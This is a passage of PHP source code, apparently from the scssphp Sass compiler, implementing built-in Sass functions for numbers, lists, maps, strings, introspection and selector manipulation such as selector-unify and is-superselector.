    }

    protected static $libRound = ['number'];
    protected function libRound($args)
    {
        $num = $this->assertNumber($args[0], 'number');

        return new Number(round($num->getDimension()), $num->getNumeratorUnits(), $num->getDenominatorUnits());
    }

    protected static $libFloor = ['number'];
    protected function libFloor($args)
    {
        $num = $this->assertNumber($args[0], 'number');

        return new Number(floor($num->getDimension()), $num->getNumeratorUnits(), $num->getDenominatorUnits());
    }

    protected static $libCeil = ['number'];
    protected function libCeil($args)
    {
        $num = $this->assertNumber($args[0], 'number');

        return new Number(ceil($num->getDimension()), $num->getNumeratorUnits(), $num->getDenominatorUnits());
    }

    protected static $libAbs = ['number'];
    protected function libAbs($args)
    {
        $num = $this->assertNumber($args[0], 'number');

        return new Number(abs($num->getDimension()), $num->getNumeratorUnits(), $num->getDenominatorUnits());
    }

    protected static $libMin = ['numbers...'];
    protected function libMin($args)
    {
        /**
         * @var Number|null
         */
        $min = null;

        foreach ($args[0][2] as $arg) {
            $number = $this->assertNumber($arg);

            if (\is_null($min) || $min->greaterThan($number)) {
                $min = $number;
            }
        }

        if (!\is_null($min)) {
            return $min;
        }

        throw $this->error('At least one argument must be passed.');
    }

    protected static $libMax = ['numbers...'];
    protected function libMax($args)
    {
        /**
         * @var Number|null
         */
        $max = null;

        foreach ($args[0][2] as $arg) {
            $number = $this->assertNumber($arg);

            if (\is_null($max) || $max->lessThan($number)) {
                $max = $number;
            }
        }

        if (!\is_null($max)) {
            return $max;
        }

        throw $this->error('At least one argument must be passed.');
    }

    protected static $libLength = ['list'];
    protected function libLength($args)
    {
        $list = $this->coerceList($args[0], ',', true);

        return new Number(\count($list[2]), '');
    }

    protected static $libListSeparator = ['list'];
    protected function libListSeparator($args)
    {
        if (! \in_array($args[0][0], [Type::T_LIST, Type::T_MAP])) {
            return [Type::T_KEYWORD, 'space'];
        }

        $list = $this->coerceList($args[0]);

        if (\count($list[2]) <= 1 && empty($list['enclosing'])) {
            return [Type::T_KEYWORD, 'space'];
        }

        if ($list[1] === ',') {
            return [Type::T_KEYWORD, 'comma'];
        }

        return [Type::T_KEYWORD, 'space'];
    }

    protected static $libNth = ['list', 'n'];
    protected function libNth($args)
    {
        $list = $this->coerceList($args[0], ',', false);
        $n = $this->assertNumber($args[1])->getDimension();

        if ($n > 0) {
            $n--;
        } elseif ($n < 0) {
            $n += \count($list[2]);
        }

        return isset($list[2][$n]) ? $list[2][$n] : static::$defaultValue;
    }

    protected static $libSetNth = ['list', 'n', 'value'];
    protected function libSetNth($args)
    {
        $list = $this->coerceList($args[0]);
        $n = $this->assertNumber($args[1])->getDimension();

        if ($n > 0) {
            $n--;
        } elseif ($n < 0) {
            $n += \count($list[2]);
        }

        if (! isset($list[2][$n])) {
            throw $this->error('Invalid argument for "n"');
        }

        $list[2][$n] = $args[2];

        return $list;
    }

    protected static $libMapGet = ['map', 'key'];
    protected function libMapGet($args)
    {
        $map = $this->assertMap($args[0], 'map');
        $key = $args[1];

        if (! \is_null($key)) {
            $key = $this->compileStringContent($this->coerceString($key));

            for ($i = \count($map[1]) - 1; $i >= 0; $i--) {
                if ($key === $this->compileStringContent($this->coerceString($map[1][$i]))) {
                    return $map[2][$i];
                }
            }
        }

        return static::$null;
    }

    protected static $libMapKeys = ['map'];
    protected function libMapKeys($args)
    {
        $map = $this->assertMap($args[0], 'map');
        $keys = $map[1];

        return [Type::T_LIST, ',', $keys];
    }

    protected static $libMapValues = ['map'];
    protected function libMapValues($args)
    {
        $map = $this->assertMap($args[0], 'map');
        $values = $map[2];

        return [Type::T_LIST, ',', $values];
    }

    protected static $libMapRemove = [
        ['map'],
        ['map', 'key', 'keys...'],
    ];
    protected function libMapRemove($args)
    {
        $map = $this->assertMap($args[0], 'map');

        if (\count($args) === 1) {
            return $map;
        }

        $keys = [];
        $keys[] = $this->compileStringContent($this->coerceString($args[1]));

        foreach ($args[2][2] as $key) {
            $keys[] = $this->compileStringContent($this->coerceString($key));
        }

        for ($i = \count($map[1]) - 1; $i >= 0; $i--) {
            if (in_array($this->compileStringContent($this->coerceString($map[1][$i])), $keys)) {
                array_splice($map[1], $i, 1);
                array_splice($map[2], $i, 1);
            }
        }

        return $map;
    }

    protected static $libMapHasKey = ['map', 'key'];
    protected function libMapHasKey($args)
    {
        $map = $this->assertMap($args[0], 'map');

        return $this->toBool($this->mapHasKey($map, $args[1]));
    }

    /**
     * @param array|Number $keyValue
     *
     * @return bool
     */
    private function mapHasKey(array $map, $keyValue)
    {
        $key = $this->compileStringContent($this->coerceString($keyValue));

        for ($i = \count($map[1]) - 1; $i >= 0; $i--) {
            if ($key === $this->compileStringContent($this->coerceString($map[1][$i]))) {
                return true;
            }
        }

        return false;
    }

    protected static $libMapMerge = [
        ['map1', 'map2'],
        ['map-1', 'map-2']
    ];
    protected function libMapMerge($args)
    {
        $map1 = $this->assertMap($args[0], 'map1');
        $map2 = $this->assertMap($args[1], 'map2');

        foreach ($map2[1] as $i2 => $key2) {
            $key = $this->compileStringContent($this->coerceString($key2));

            foreach ($map1[1] as $i1 => $key1) {
                if ($key === $this->compileStringContent($this->coerceString($key1))) {
                    $map1[2][$i1] = $map2[2][$i2];
                    continue 2;
                }
            }

            $map1[1][] = $map2[1][$i2];
            $map1[2][] = $map2[2][$i2];
        }

        return $map1;
    }

    protected static $libKeywords = ['args'];
    protected function libKeywords($args)
    {
        $value = $args[0];

        if ($value[0] !== Type::T_LIST || !isset($value[3]) || !\is_array($value[3])) {
            $compiledValue = $this->compileValue($value);

            throw SassScriptException::forArgument($compiledValue . ' is not an argument list.', 'args');
        }

        $keys = [];
        $values = [];

        foreach ($this->getArgumentListKeywords($value) as $name => $arg) {
            $keys[] = [Type::T_KEYWORD, $name];
            $values[] = $arg;
        }

        return [Type::T_MAP, $keys, $values];
    }

    protected static $libIsBracketed = ['list'];
    protected function libIsBracketed($args)
    {
        $list = $args[0];
        $this->coerceList($list, ' ');

        if (! empty($list['enclosing']) && $list['enclosing'] === 'bracket') {
            return self::$true;
        }

        return self::$false;
    }

    /**
     * @param array $list1
     * @param array|Number|null $sep
     *
     * @return string
     * @throws CompilerException
     */
    protected function listSeparatorForJoin($list1, $sep)
    {
        if (! isset($sep)) {
            return $list1[1];
        }

        switch ($this->compileValue($sep)) {
            case 'comma':
                return ',';

            case 'space':
                return ' ';

            default:
                return $list1[1];
        }
    }

    protected static $libJoin = ['list1', 'list2', 'separator:null', 'bracketed:auto'];
    protected function libJoin($args)
    {
        list($list1, $list2, $sep, $bracketed) = $args;

        $list1 = $this->coerceList($list1, ' ', true);
        $list2 = $this->coerceList($list2, ' ', true);
        $sep   = $this->listSeparatorForJoin($list1, $sep);

        if ($bracketed === static::$true) {
            $bracketed = true;
        } elseif ($bracketed === static::$false) {
            $bracketed = false;
        } elseif ($bracketed === [Type::T_KEYWORD, 'auto']) {
            $bracketed = 'auto';
        } elseif ($bracketed === static::$null) {
            $bracketed = false;
        } else {
            $bracketed = $this->compileValue($bracketed);
            $bracketed = ! ! $bracketed;

            if ($bracketed === true) {
                $bracketed = true;
            }
        }

        if ($bracketed === 'auto') {
            $bracketed = false;

            if (! empty($list1['enclosing']) && $list1['enclosing'] === 'bracket') {
                $bracketed = true;
            }
        }

        $res = [Type::T_LIST, $sep, array_merge($list1[2], $list2[2])];

        if (isset($list1['enclosing'])) {
            $res['enlcosing'] = $list1['enclosing'];
        }

        if ($bracketed) {
            $res['enclosing'] = 'bracket';
        }

        return $res;
    }

    protected static $libAppend = ['list', 'val', 'separator:null'];
    protected function libAppend($args)
    {
        list($list1, $value, $sep) = $args;

        $list1 = $this->coerceList($list1, ' ', true);
        $sep   = $this->listSeparatorForJoin($list1, $sep);
        $res   = [Type::T_LIST, $sep, array_merge($list1[2], [$value])];

        if (isset($list1['enclosing'])) {
            $res['enclosing'] = $list1['enclosing'];
        }

        return $res;
    }

    protected static $libZip = ['lists...'];
    protected function libZip($args)
    {
        $argLists = [];
        foreach ($args[0][2] as $arg) {
            $argLists[] = $this->coerceList($arg);
        }

        $lists = [];
        $firstList = array_shift($argLists);

        $result = [Type::T_LIST, ',', $lists];
        if (! \is_null($firstList)) {
            foreach ($firstList[2] as $key => $item) {
                $list = [Type::T_LIST, '', [$item]];

                foreach ($argLists as $arg) {
                    if (isset($arg[2][$key])) {
                        $list[2][] = $arg[2][$key];
                    } else {
                        break 2;
                    }
                }

                $lists[] = $list;
            }

            $result[2] = $lists;
        } else {
            $result['enclosing'] = 'parent';
        }

        return $result;
    }

    protected static $libTypeOf = ['value'];
    protected function libTypeOf($args)
    {
        $value = $args[0];

        return [Type::T_KEYWORD, $this->getTypeOf($value)];
    }

    /**
     * @param array|Number $value
     *
     * @return string
     */
    private function getTypeOf($value)
    {
        switch ($value[0]) {
            case Type::T_KEYWORD:
                if ($value === static::$true || $value === static::$false) {
                    return 'bool';
                }

                if ($this->coerceColor($value)) {
                    return 'color';
                }

                // fall-thru
            case Type::T_FUNCTION:
                return 'string';

            case Type::T_FUNCTION_REFERENCE:
                return 'function';

            case Type::T_LIST:
                if (isset($value[3]) && \is_array($value[3])) {
                    return 'arglist';
                }

                // fall-thru
            default:
                return $value[0];
        }
    }

    protected static $libUnit = ['number'];
    protected function libUnit($args)
    {
        $num = $this->assertNumber($args[0], 'number');

        return [Type::T_STRING, '"', [$num->unitStr()]];
    }

    protected static $libUnitless = ['number'];
    protected function libUnitless($args)
    {
        $value = $this->assertNumber($args[0], 'number');

        return $this->toBool($value->unitless());
    }

    protected static $libComparable = [
        ['number1', 'number2'],
        ['number-1', 'number-2']
    ];
    protected function libComparable($args)
    {
        list($number1, $number2) = $args;

        if (
            ! $number1 instanceof Number ||
            ! $number2 instanceof Number
        ) {
            throw $this->error('Invalid argument(s) for "comparable"');
        }

        return $this->toBool($number1->isComparableTo($number2));
    }

    protected static $libStrIndex = ['string', 'substring'];
    protected function libStrIndex($args)
    {
        $string = $this->assertString($args[0], 'string');
        $stringContent = $this->compileStringContent($string);

        $substring = $this->assertString($args[1], 'substring');
        $substringContent = $this->compileStringContent($substring);

        if (! \strlen($substringContent)) {
            $result = 0;
        } else {
            $result = Util::mbStrpos($stringContent, $substringContent);
        }

        return $result === false ? static::$null : new Number($result + 1, '');
    }

    protected static $libStrInsert = ['string', 'insert', 'index'];
    protected function libStrInsert($args)
    {
        $string = $this->assertString($args[0], 'string');
        $stringContent = $this->compileStringContent($string);

        $insert = $this->assertString($args[1], 'insert');
        $insertContent = $this->compileStringContent($insert);

        $index = $this->assertInteger($args[2], 'index');
        if ($index > 0) {
            $index = $index - 1;
        }
        if ($index < 0) {
            $index = Util::mbStrlen($stringContent) + 1 + $index;
        }

        $string[2] = [
            Util::mbSubstr($stringContent, 0, $index),
            $insertContent,
            Util::mbSubstr($stringContent, $index)
        ];

        return $string;
    }

    protected static $libStrLength = ['string'];
    protected function libStrLength($args)
    {
        $string = $this->assertString($args[0], 'string');
        $stringContent = $this->compileStringContent($string);

        return new Number(Util::mbStrlen($stringContent), '');
    }

    protected static $libStrSlice = ['string', 'start-at', 'end-at:-1'];
    protected function libStrSlice($args)
    {
        $string = $this->assertString($args[0], 'string');
        $stringContent = $this->compileStringContent($string);

        $start = $this->assertNumber($args[1], 'start-at');
        $start->assertNoUnits('start-at');
        $startInt = $this->assertInteger($start, 'start-at');
        $end = $this->assertNumber($args[2], 'end-at');
        $end->assertNoUnits('end-at');
        $endInt = $this->assertInteger($end, 'end-at');

        if ($endInt === 0) {
            return [Type::T_STRING, $string[1], []];
        }

        if ($startInt > 0) {
            $startInt--;
        }

        if ($endInt < 0) {
            $endInt = Util::mbStrlen($stringContent) + $endInt;
        } else {
            $endInt--;
        }

        if ($endInt < $startInt) {
            return [Type::T_STRING, $string[1], []];
        }

        $length = $endInt - $startInt + 1; // The end of the slice is inclusive

        $string[2] = [Util::mbSubstr($stringContent, $startInt, $length)];

        return $string;
    }

    protected static $libToLowerCase = ['string'];
    protected function libToLowerCase($args)
    {
        $string = $this->assertString($args[0], 'string');
        $stringContent = $this->compileStringContent($string);

        $string[2] = [$this->stringTransformAsciiOnly($stringContent, 'strtolower')];

        return $string;
    }

    protected static $libToUpperCase = ['string'];
    protected function libToUpperCase($args)
    {
        $string = $this->assertString($args[0], 'string');
        $stringContent = $this->compileStringContent($string);

        $string[2] = [$this->stringTransformAsciiOnly($stringContent, 'strtoupper')];

        return $string;
    }

    /**
     * Apply a filter on a string content, only on ascii chars
     * let extended chars untouched
     *
     * @param string $stringContent
     * @param callable $filter
     * @return string
     */
    protected function stringTransformAsciiOnly($stringContent, $filter)
    {
        $mblength = Util::mbStrlen($stringContent);
        if ($mblength === strlen($stringContent)) {
            return $filter($stringContent);
        }
        $filteredString = "";
        for ($i = 0; $i < $mblength; $i++) {
            $char = Util::mbSubstr($stringContent, $i, 1);
            if (strlen($char) > 1) {
                $filteredString .= $char;
            } else {
                $filteredString .= $filter($char);
            }
        }

        return $filteredString;
    }

    protected static $libFeatureExists = ['feature'];
    protected function libFeatureExists($args)
    {
        $string = $this->assertString($args[0], 'feature');
        $name = $this->compileStringContent($string);

        return $this->toBool(
            \array_key_exists($name, $this->registeredFeatures) ? $this->registeredFeatures[$name] : false
        );
    }

    protected static $libFunctionExists = ['name'];
    protected function libFunctionExists($args)
    {
        $string = $this->assertString($args[0], 'name');
        $name = $this->compileStringContent($string);

        // user defined functions
        if ($this->has(static::$namespaces['function'] . $name)) {
            return self::$true;
        }

        $name = $this->normalizeName($name);

        if (isset($this->userFunctions[$name])) {
            return self::$true;
        }

        // built-in functions
        $f = $this->getBuiltinFunction($name);

        return $this->toBool(\is_callable($f));
    }

    protected static $libGlobalVariableExists = ['name'];
    protected function libGlobalVariableExists($args)
    {
        $string = $this->assertString($args[0], 'name');
        $name = $this->compileStringContent($string);

        return $this->toBool($this->has($name, $this->rootEnv));
    }

    protected static $libMixinExists = ['name'];
    protected function libMixinExists($args)
    {
        $string = $this->assertString($args[0], 'name');
        $name = $this->compileStringContent($string);

        return $this->toBool($this->has(static::$namespaces['mixin'] . $name));
    }

    protected static $libVariableExists = ['name'];
    protected function libVariableExists($args)
    {
        $string = $this->assertString($args[0], 'name');
        $name = $this->compileStringContent($string);

        return $this->toBool($this->has($name));
    }

    protected static $libCounter = ['args...'];
    /**
     * Workaround IE7's content counter bug.
     *
     * @param array $args
     *
     * @return array
     */
    protected function libCounter($args)
    {
        $list = array_map([$this, 'compileValue'], $args[0][2]);

        return [Type::T_STRING, '', ['counter(' . implode(',', $list) . ')']];
    }

    protected static $libRandom = ['limit:null'];
    protected function libRandom($args)
    {
        if (isset($args[0]) && $args[0] !== static::$null) {
            $n = $this->assertInteger($args[0], 'limit');

            if ($n < 1) {
                throw new SassScriptException("\$limit: Must be greater than 0, was $n.");
            }

            return new Number(mt_rand(1, $n), '');
        }

        $max = mt_getrandmax();
        return new Number(mt_rand(0, $max - 1) / $max, '');
    }

    protected static $libUniqueId = [];
    protected function libUniqueId()
    {
        static $id;

        if (! isset($id)) {
            $id = PHP_INT_SIZE === 4
                ? mt_rand(0, pow(36, 5)) . str_pad(mt_rand(0, pow(36, 5)) % 10000000, 7, '0', STR_PAD_LEFT)
                : mt_rand(0, pow(36, 8));
        }

        $id += mt_rand(0, 10) + 1;

        return [Type::T_STRING, '', ['u' . str_pad(base_convert($id, 10, 36), 8, '0', STR_PAD_LEFT)]];
    }

    /**
     * @param array|Number $value
     * @param bool         $force_enclosing_display
     *
     * @return array
     */
    protected function inspectFormatValue($value, $force_enclosing_display = false)
    {
        if ($value === static::$null) {
            $value = [Type::T_KEYWORD, 'null'];
        }

        $stringValue = [$value];

        if ($value instanceof Number) {
            return [Type::T_STRING, '', $stringValue];
        }

        if ($value[0] === Type::T_LIST) {
            if (end($value[2]) === static::$null) {
                array_pop($value[2]);
                $value[2][] = [Type::T_STRING, '', ['']];
                $force_enclosing_display = true;
            }

            if (
                ! empty($value['enclosing']) &&
                ($force_enclosing_display ||
                    ($value['enclosing'] === 'bracket') ||
                    ! \count($value[2]))
            ) {
                $value['enclosing'] = 'forced_' . $value['enclosing'];
                $force_enclosing_display = true;
            }

            foreach ($value[2] as $k => $listelement) {
                $value[2][$k] = $this->inspectFormatValue($listelement, $force_enclosing_display);
            }

            $stringValue = [$value];
        }

        return [Type::T_STRING, '', $stringValue];
    }

    protected static $libInspect = ['value'];
    protected function libInspect($args)
    {
        $value = $args[0];

        return $this->inspectFormatValue($value);
    }

    /**
     * Preprocess selector args
     *
     * @param array       $arg
     * @param string|null $varname
     * @param bool        $allowParent
     *
     * @return array
     */
    protected function getSelectorArg($arg, $varname = null, $allowParent = false)
    {
        static $parser = null;

        if (\is_null($parser)) {
            $parser = $this->parserFactory(__METHOD__);
        }

        if (! $this->checkSelectorArgType($arg)) {
            $var_value = $this->compileValue($arg);
            throw SassScriptException::forArgument("$var_value is not a valid selector: it must be a string, a list of strings, or a list of lists of strings", $varname);
        }


        if ($arg[0] === Type::T_STRING) {
            $arg[1] = '';
        }
        $arg = $this->compileValue($arg);

        $parsedSelector = [];

        if ($parser->parseSelector($arg, $parsedSelector, true)) {
            $selector = $this->evalSelectors($parsedSelector);
            $gluedSelector = $this->glueFunctionSelectors($selector);

            if (! $allowParent) {
                foreach ($gluedSelector as $selector) {
                    foreach ($selector as $s) {
                        if (in_array(static::$selfSelector, $s)) {
                            throw SassScriptException::forArgument("Parent selectors aren't allowed here.", $varname);
                        }
                    }
                }
            }

            return $gluedSelector;
        }

        throw SassScriptException::forArgument("expected more input, invalid selector.", $varname);
    }

    /**
     * Check variable type for getSelectorArg() function
     * @param array $arg
     * @param int $maxDepth
     * @return bool
     */
    protected function checkSelectorArgType($arg, $maxDepth = 2)
    {
        if ($arg[0] === Type::T_LIST && $maxDepth > 0) {
            foreach ($arg[2] as $elt) {
                if (! $this->checkSelectorArgType($elt, $maxDepth - 1)) {
                    return false;
                }
            }
            return true;
        }
        if (!in_array($arg[0], [Type::T_STRING, Type::T_KEYWORD])) {
            return false;
        }
        return true;
    }

    /**
     * Postprocess selector to output in right format
     *
     * @param array $selectors
     *
     * @return array
     */
    protected function formatOutputSelector($selectors)
    {
        $selectors = $this->collapseSelectorsAsList($selectors);

        return $selectors;
    }

    protected static $libIsSuperselector = ['super', 'sub'];
    protected function libIsSuperselector($args)
    {
        list($super, $sub) = $args;

        $super = $this->getSelectorArg($super, 'super');
        $sub = $this->getSelectorArg($sub, 'sub');

        return $this->toBool($this->isSuperSelector($super, $sub));
    }

    /**
     * Test a $super selector again $sub
     *
     * @param array $super
     * @param array $sub
     *
     * @return boolean
     */
    protected function isSuperSelector($super, $sub)
    {
        // one and only one selector for each arg
        if (! $super) {
            throw $this->error('Invalid super selector for isSuperSelector()');
        }

        if (! $sub) {
            throw $this->error('Invalid sub selector for isSuperSelector()');
        }

        if (count($sub) > 1) {
            foreach ($sub as $s) {
                if (! $this->isSuperSelector($super, [$s])) {
                    return false;
                }
            }
            return true;
        }

        if (count($super) > 1) {
            foreach ($super as $s) {
                if ($this->isSuperSelector([$s], $sub)) {
                    return true;
                }
            }
            return false;
        }

        $super = reset($super);
        $sub = reset($sub);

        $i = 0;
        $nextMustMatch = false;

        foreach ($super as $node) {
            $compound = '';

            array_walk_recursive(
                $node,
                function ($value, $key) use (&$compound) {
                    $compound .= $value;
                }
            );

            if ($this->isImmediateRelationshipCombinator($compound)) {
                if ($node !== $sub[$i]) {
                    return false;
                }

                $nextMustMatch = true;
                $i++;
            } else {
                while ($i < \count($sub) && ! $this->isSuperPart($node, $sub[$i])) {
                    if ($nextMustMatch) {
                        return false;
                    }

                    $i++;
                }

                if ($i >= \count($sub)) {
                    return false;
                }

                $nextMustMatch = false;
                $i++;
            }
        }

        return true;
    }

    /**
     * Test a part of super selector again a part of sub selector
     *
     * @param array $superParts
     * @param array $subParts
     *
     * @return boolean
     */
    protected function isSuperPart($superParts, $subParts)
    {
        $i = 0;

        foreach ($superParts as $superPart) {
            while ($i < \count($subParts) && $subParts[$i] !== $superPart) {
                $i++;
            }

            if ($i >= \count($subParts)) {
                return false;
            }

            $i++;
        }

        return true;
    }

    protected static $libSelectorAppend = ['selector...'];
    protected function libSelectorAppend($args)
    {
        // get the selector... list
        $args = reset($args);
        $args = $args[2];

        if (\count($args) < 1) {
            throw $this->error('selector-append() needs at least 1 argument');
        }

        $selectors = [];
        foreach ($args as $arg) {
            $selectors[] = $this->getSelectorArg($arg, 'selector');
        }

        return $this->formatOutputSelector($this->selectorAppend($selectors));
    }

    /**
     * Append parts of the last selector in the list to the previous, recursively
     *
     * @param array $selectors
     *
     * @return array
     *
     * @throws \ScssPhp\ScssPhp\Exception\CompilerException
     */
    protected function selectorAppend($selectors)
    {
        $lastSelectors = array_pop($selectors);

        if (! $lastSelectors) {
            throw $this->error('Invalid selector list in selector-append()');
        }

        while (\count($selectors)) {
            $previousSelectors = array_pop($selectors);

            if (! $previousSelectors) {
                throw $this->error('Invalid selector list in selector-append()');
            }

            // do the trick, happening $lastSelector to $previousSelector
            $appended = [];

            foreach ($lastSelectors as $lastSelector) {
                $previous = $previousSelectors;

                foreach ($lastSelector as $lastSelectorParts) {
                    foreach ($lastSelectorParts as $lastSelectorPart) {
                        foreach ($previous as $i => $previousSelector) {
                            foreach ($previousSelector as $j => $previousSelectorParts) {
                                $previous[$i][$j][] = $lastSelectorPart;
                            }
                        }
                    }
                }

                foreach ($previous as $ps) {
                    $appended[] = $ps;
                }
            }

            $lastSelectors = $appended;
        }

        return $lastSelectors;
    }

    protected static $libSelectorExtend = [
        ['selector', 'extendee', 'extender'],
        ['selectors', 'extendee', 'extender']
    ];
    protected function libSelectorExtend($args)
    {
        list($selectors, $extendee, $extender) = $args;

        $selectors = $this->getSelectorArg($selectors, 'selector');
        $extendee  = $this->getSelectorArg($extendee, 'extendee');
        $extender  = $this->getSelectorArg($extender, 'extender');

        if (! $selectors || ! $extendee || ! $extender) {
            throw $this->error('selector-extend() invalid arguments');
        }

        $extended = $this->extendOrReplaceSelectors($selectors, $extendee, $extender);

        return $this->formatOutputSelector($extended);
    }

    protected static $libSelectorReplace = [
        ['selector', 'original', 'replacement'],
        ['selectors', 'original', 'replacement']
    ];
    protected function libSelectorReplace($args)
    {
        list($selectors, $original, $replacement) = $args;

        $selectors   = $this->getSelectorArg($selectors, 'selector');
        $original    = $this->getSelectorArg($original, 'original');
        $replacement = $this->getSelectorArg($replacement, 'replacement');

        if (! $selectors || ! $original || ! $replacement) {
            throw $this->error('selector-replace() invalid arguments');
        }

        $replaced = $this->extendOrReplaceSelectors($selectors, $original, $replacement, true);

        return $this->formatOutputSelector($replaced);
    }

    /**
     * Extend/replace in selectors
     * used by selector-extend and selector-replace that use the same logic
     *
     * @param array   $selectors
     * @param array   $extendee
     * @param array   $extender
     * @param boolean $replace
     *
     * @return array
     */
    protected function extendOrReplaceSelectors($selectors, $extendee, $extender, $replace = false)
    {
        $saveExtends = $this->extends;
        $saveExtendsMap = $this->extendsMap;

        $this->extends = [];
        $this->extendsMap = [];

        foreach ($extendee as $es) {
            if (\count($es) !== 1) {
                throw $this->error('Can\'t extend complex selector.');
            }

            // only use the first one
            $this->pushExtends(reset($es), $extender, null);
        }

        $extended = [];

        foreach ($selectors as $selector) {
            if (! $replace) {
                $extended[] = $selector;
            }

            $n = \count($extended);

            $this->matchExtends($selector, $extended);

            // if didnt match, keep the original selector if we are in a replace operation
            if ($replace && \count($extended) === $n) {
                $extended[] = $selector;
            }
        }

        $this->extends = $saveExtends;
        $this->extendsMap = $saveExtendsMap;

        return $extended;
    }

    protected static $libSelectorNest = ['selector...'];
    protected function libSelectorNest($args)
    {
        // get the selector... list
        $args = reset($args);
        $args = $args[2];

        if (\count($args) < 1) {
            throw $this->error('selector-nest() needs at least 1 argument');
        }

        $selectorsMap = [];
        foreach ($args as $arg) {
            $selectorsMap[] = $this->getSelectorArg($arg, 'selector', true);
        }

        $envs = [];

        foreach ($selectorsMap as $selectors) {
            $env = new Environment();
            $env->selectors = $selectors;

            $envs[] = $env;
        }

        $envs            = array_reverse($envs);
        $env             = $this->extractEnv($envs);
        $outputSelectors = $this->multiplySelectors($env);

        return $this->formatOutputSelector($outputSelectors);
    }

    protected static $libSelectorParse = [
        ['selector'],
        ['selectors']
    ];
    protected function libSelectorParse($args)
    {
        $selectors = reset($args);
        $selectors = $this->getSelectorArg($selectors, 'selector');

        return $this->formatOutputSelector($selectors);
    }

    protected static $libSelectorUnify = ['selectors1', 'selectors2'];
    protected function libSelectorUnify($args)
    {
        list($selectors1, $selectors2) = $args;

        $selectors1 = $this->getSelectorArg($selectors1, 'selectors1');
        $selectors2 = $this->getSelectorArg($selectors2, 'selectors2');

        if (! $selectors1 || ! $selectors2) {
            throw $this->error('selector-unify() invalid arguments');
        }

        // only consider the first compound of each
        $compound1 = reset($selectors1);
        $compound2 = reset($selectors2);

        // unify them and that's it
        $unified = $this->unifyCompoundSelectors($compound1, $compound2);

        return $this->formatOutputSelector($unified);
    }

    /**
     * The selector-unify magic as its best
     * (at least works as expected on test cases)
     *
     * @param array $compound1
     * @param array $compound2
     *
     * @return array
     */
    protected function unifyCompoundSelectors($compound1, $compound2)
    {
        if (! \count($compound1)) {
            return $compound2;
        }

        if (! \count($compound2)) {
            return $compound1;
        }

        // check that last part are compatible
        $lastPart1 = array_pop($compound1);
        $lastPart2 = array_pop($compound2);
        $last      = $this->mergeParts($lastPart1, $lastPart2);

        if (! $last) {
            return [[]];
        }

        $unifiedCompound = [$last];
        $unifiedSelectors = [$unifiedCompound];

        // do the rest
        while (\count($compound1) || \count($compound2)) {
            $part1 = end($compound1);
            $part2 = end($compound2);

            if ($part1 && ($match2 = $this->matchPartInCompound($part1, $compound2))) {
                list($compound2, $part2, $after2) = $match2;

                if ($after2) {
                    $unifiedSelectors = $this->prependSelectors($unifiedSelectors, $after2);
                }

                $c = $this->mergeParts($part1, $part2);
                $unifiedSelectors = $this->prependSelectors($unifiedSelectors, [$c]);

                $part1 = $part2 = null;

                array_pop($compound1);
            }

            if ($part2 && ($match1 = $this->matchPartInCompound($part2, $compound1))) {
                list($compound1, $part1, $after1) = $match1;

                if ($after1) {
                    $unifiedSelectors = $this->prependSelectors($unifiedSelectors, $after1);
                }

                $c = $this->mergeParts($part2, $part1);
                $unifiedSelectors = $this->prependSelectors($unifiedSelectors, [$c]);

                $part1 = $part2 = null;

                array_pop($compound2);
            }

            $new = [];

            if ($part1 && $part2) {
                array_pop($compound1);
                array_pop($compound2);

                $s   = $this->prependSelectors($unifiedSelectors, [$part2]);
                $new = array_merge($new, $this->prependSelectors($s, [$part1]));
                $s   = $this->prependSelectors($unifiedSelectors, [$part1]);
                $new = array_merge($new, $this->prependSelectors($s, [$part2]));
            } elseif ($part1) {
                array_pop($compound1);

                $new = array_merge($new, $this->prependSelectors($unifiedSelectors, [$part1]));
            } elseif ($part2) {
                array_pop($compound2);

                $new = array_merge($new, $this->prependSelectors($unifiedSelectors, [$part2]));
            }

            if ($new) {
                $unifiedSelectors = $new;
            }
        }

        return $unifiedSelectors;
    }

    /**
     * Prepend each selector from $selectors with $parts
     *
     * @param array $selectors
     * @param array $parts
     *
     * @return array
     */
    protected function prependSelectors($selectors, $parts)
    {
        $new = [];

        foreach ($selectors as $compoundSelector) {
            array_unshift($compoundSelector, $parts);

            $new[] = $compoundSelector;
        }

        return $new;
    }

    /**
     * Try to find a matching part in a compound:
     * - with same html tag name
     * - with some class or id or something in common
     *
     * @param array $part
     * @param array $compound
     *
     * @return array|false
     */
    protected function matchPartInCompound($part, $compound)
    {
        $partTag = $this->findTagName($part);
        $before  = $compound;
        $after   = [];

        // try to find a match by tag name first
        while (\count($before)) {
            $p = array_pop($before);

            if ($partTag && $partTag !== '*' && $partTag == $this->findTagName($p)) {
                return [$before, $p, $after];
            }

            $after[] = $p;
        }

        // try again matching a non empty intersection and a compatible tagname
        $before = $compound;
        $after = [];

        while (\count($before)) {
            $p = array_pop($before);

            if ($this->checkCompatibleTags($partTag, $this->findTagName($p))) {
                if (\count(array_intersect($part, $p))) {
                    return [$before, $p, $after];
                }
            }

            $after[] = $p;
        }

        return false;
    }

    /**
     * Merge two part list taking care that
     * - the html tag is coming first - if any
     * - the :something are coming last
     *
     * @param array $parts1
     * @param array $parts2
     *
     * @return array
     */
    protected function mergeParts($parts1, $parts2)
    {
        $tag1 = $this->findTagName($parts1);
        $tag2 = $this->findTagName($parts2);
        $tag  = $this->checkCompatibleTags($tag1, $tag2);

        // not compatible tags
        if ($tag === false) {
            return [];
        }

        if ($tag) {
            if ($tag1) {
                $parts1 = array_diff($parts1, [$tag1]);
            }

            if ($tag2) {
                $parts2 = array_diff($parts2, [$tag2]);
            }
        }

        $mergedParts = array_merge($parts1, $parts2);
        $mergedOrderedParts = [];

        foreach ($mergedParts as $part) {
            if (strpos($part, ':') === 0) {
                $mergedOrderedParts[] = $part;
            }
        }

        $mergedParts = array_diff($mergedParts, $mergedOrderedParts);
        $mergedParts = array_merge($mergedParts, $mergedOrderedParts);

        if ($tag) {
            array_unshift($mergedParts, $tag);
        }

        return $mergedParts;
    }

    /**
     * Check the compatibility between two tag names:
     * if both are defined they should be identical or one has to be '*'
     *
     * @param string $tag1
     * @param string $tag2
     *
     * @return array|false
     */
    protected function checkCompatibleTags($tag1, $tag2)
    {
        $tags = [$tag1, $tag2];
        $tags = array_unique($tags);
        $tags = array_filter($tags);

        if (\count($tags) > 1) {
            $tags = array_diff($tags, ['*']);
        }

        // not compatible nodes
        if (\count($tags) > 1) {
            return false;
        }

        return $tags;
    }

    /**
     * Find the html tag name in a selector parts list
     *
     * @param string[] $parts
     *
     * @return string
     */
    protected function findTagName($parts)
    {
        foreach ($parts as $part) {
            if (! preg_match('/^[\[.:#%_-]/', $part)) {
